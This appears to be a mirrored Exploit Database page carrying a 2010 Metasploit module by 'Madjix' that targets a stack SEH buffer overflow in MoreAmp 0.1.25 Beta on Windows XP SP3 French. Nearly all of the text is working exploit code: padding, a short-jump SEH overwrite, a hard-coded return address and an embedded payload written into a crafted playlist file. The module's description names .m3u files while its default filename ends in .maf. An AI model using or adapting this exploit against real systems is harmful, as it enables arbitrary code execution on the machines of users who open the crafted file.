MoreAmp – Local Buffer Overflow (SEH) (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Madjix
  日期： 2010-07-17
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14397/

• #MoreAmp Seh Buffer Overflow (meta)
  #Greetz:His0k4 , Bibi-info , Volc4n0
  #sec4ever.com
  require 'msf/core'
   
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
   
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
   
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'MoreAmp 0.1.25 Beta Buffer Overflow (SEH)',
  'Description' => %q{
  This module exploits a SEH overflow in 0.1.25 MoreAmp Beta
  By creating a specially crafted .m3u file, an an attacker may be able
  to execute arbitrary code.
  },
  'License' => MSF_LICENSE,
  'Author' => 'MadjiX',
  'Version' => 'Version 1',
  'References' =>
  [
  [ 'OSVDB', '65789' ],
  [ 'URL', 'http://www.exploit-db.com/exploits/13942/' ],
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'process',
  },
  'Payload' =>
  {
  'Space' => 1400,
  'BadChars' => "\x00\x20\x0a\x0d",
  'StackAdjustment' => -3500,
  },
  'Platform' => 'win',
  'Targets' =>
  [
  [ 'Windows XP SP3 Fr', { 'Ret' => 0x7C86467B} ], # 0x7C86467B jmp esp kernel.32
   
  ],
  'Privileged' => false,
  'DisclosureDate'=> '17-07-2010',
  'DefaultTarget' => 0))
   
  register_options(
  [
  OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.maf']),
  ], self.class)
  end
   
   
  def exploit
   
  sploit = rand_text_alphanumeric(108)
  sploit << "\xeb\x06\x90\x90"
  sploit << [target.ret].pack('V')
  sploit << payload.encoded
  sploit << rand_text_alphanumeric(400 - payload.encoded.length)
   
  maffile = sploit
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(maffile)
   
  end
   
  end